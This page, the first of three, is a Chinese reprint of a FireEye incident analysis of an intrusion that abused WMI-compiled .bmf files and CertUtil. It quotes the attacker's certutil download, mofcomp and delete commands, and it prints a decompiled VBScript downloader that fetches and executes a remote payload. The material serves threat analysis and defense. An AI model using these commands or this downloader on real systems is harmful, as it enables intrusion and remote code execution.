欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

新型入侵技术:使用WMI编译的“.bmf”文件和CertUtil进行混淆执行

来源:本站整理 作者:佚名 时间:2019-11-07 TAG: 我要投稿

这篇文章主要讲述了一个有趣的入侵尝试,FireEye Managed Defense近期阻止了一项利用近期披露漏洞的快速武器化攻击,在该攻击中,攻击者创造性地使用了WMI编译的“.bmf”文件和CertUtil用于混淆执行。
这一次对入侵活动的成功监测,为我们积累了许多安全方面的宝贵经验,主要包括:一些攻击者可以迅速响应,甚至比许多安全团队的响应速度还要快。在确保业务连续性的情况下,对复杂的软件环境开展漏洞修复,也许难以跟上攻击者利用漏洞的步伐,特别是当攻击者将这些漏洞与针对操作系统自身功能而创造的新型混淆方法相结合,并进行快速利用的时候,人们往往会措手不及。
持续监测
在我们对客户提供持续监测服务的过程中,FireEye Managed Defense在欧洲一家制造业客户的系统上发现了可疑文件写入活动,我们立即在发现可疑事件的主机上收集信息,以开展初步调查。在证据收集完成后,我们开始使用FireEye的Redline取证分析工具中提供的解析器来解析取证数据。经过对日志的分析,我们发现,该主机上执行了一些可疑命令,疑似攻击者正在进行交互式侦查活动。通常,一旦成功攻陷主机,攻击者往往会得到一个命令Shell窗口,从而可以在目标主机上执行命令。这些命令可能会与侦查活动相关,所谓侦查活动旨在将关于主机的有用信息暴露给攻击者。以下是我们观察到的一些在主机上成功执行的命令:
ipconfig.exe ipconfig /all
whoami.exe whoami
处理上述进程执行的相关父进程为:
\Weaver\jdk_new\bin\javaw.exe
攻击思路
一旦攻击者通过利用未知漏洞获取到对Web服务器的访问权限后,他们就会尝试通过Windows Management Instrumentation(WMI)进一步在系统内进行控制。攻击者利用WMI的执行进程,该进程会以Managed Object Format(MOF)文件作为输入,将其编译到WMI缓冲区中,生成一个已编译的“.bmf”输出文件。攻击者编写了第二阶段的Payload,并使用BMI对其进行了编译。最后,他们将已经编译的“.bmf”文件上传至其Web服务器,并将该文件修改并伪装成“.rar”文件。
在对该恶意活动进行进一步评估后,我们发现,威胁行为者在获得对目标Web服务器的访问权限后,他们利用Windows本地二进制文件“Certutil.exe”从远程位置下载恶意代码。我们的调查表明,攻击者使用了下述命令行参数执行了“Certutil.exe”进程的实例:
certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar
这些参数的作用如下(引用自Microsoft Certutil页面):
参数:-urlcache
描述:显示或删除URL缓存条目
参数:-split
描述:拆分嵌入式ASN.1元素,并保存到文件
参数:-f
描述:强制覆盖
我们观察到,Certutil不仅在合法应用程序和正常运行过程中被合理使用,还有可能被威胁行为者非法滥用。
在下载第二阶段Payload后不久,我们观察到一些与“l.rar”(MD5:4084eb4a41e3a01db2fe6f0b91064afa)相关的一些文件写入事件。特别值得关注的是:
cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar
上述命令利用Windows的“cmd.exe”解释器,在新获得的“l.rar”上运行“mofcomp.exe”。该进程用于分析包含MOF语句的文件,并将该文件中定义的任何类和类实例添加到WMI存储库中,然后删除上述文件。
FireEye Mandiant应急响应专家Christopher Glyer和Devon Kerr在MIRcon 2014会议中发表“讨论WMI中的一些关键部分”演讲,其中提出了攻击者和防御者利用mofcomp.exe的方式。
建议红队和蓝队利用MOF文件:

在研究过程中,我们获得了“l.rar”文件,并对其进行进一步分析。我们观察到该文件的文件头以“FOMB”开始,倒过来即为“BMOF”,也就是二进制管理对象格式(Binary Managed Object Format)。在掌握上述这些信息后,我们就要开始寻找方法,来对已经编译的二进制文件进行逆向。在FireEye的沙箱环境中分析文件后,我们可以从BMOF文件中获得以下信息:
On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End
为了伪装恶意活动,攻击者编写了MOF脚本,并将其编译为BMOF文件,然后通过WMI在受害计算机上运行恶意BMOF文件。前面提到的代码在执行过程中尝试从“hxxp[://[DOMAIN]/d/dl[.]asp”下载第二阶段的Payload。由于涉及到WMI缓冲区,因此这一攻击方式将有助于在受害者环境中获得持久性。
在研究期间,我们还发现了一个名为“bmfdec”的开源项目,这个项目对BMOF文件进行了反编译。
发现漏洞利用
我们发现攻击者在9月22日最为活跃,因此我们所开展的大部分调查都在这个时间范围内进行。通过对FireEye Endpoint Security的事件进行分析后,我们发现了在系统上执行的侦查命令,包括whoami、ipconfig以及下载其他二进制文件。但是,随着我们对系统的进一步分析,我们没有在执行这些命令的同一时间范围内发现任何漏洞利用。我们对HTTP日志进行了分析,该过程中也没有发现原始Payload。在HTTP日志中,我们发现了可疑的HTTP POST请求,包括对“/weaver/bsh.servlet.BshServlet/”的请求,但遗憾的是,我们所分析的服务器业务较为繁忙,因此日志中没有记录到Payload,仅仅包含元数据(Metadata)。

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载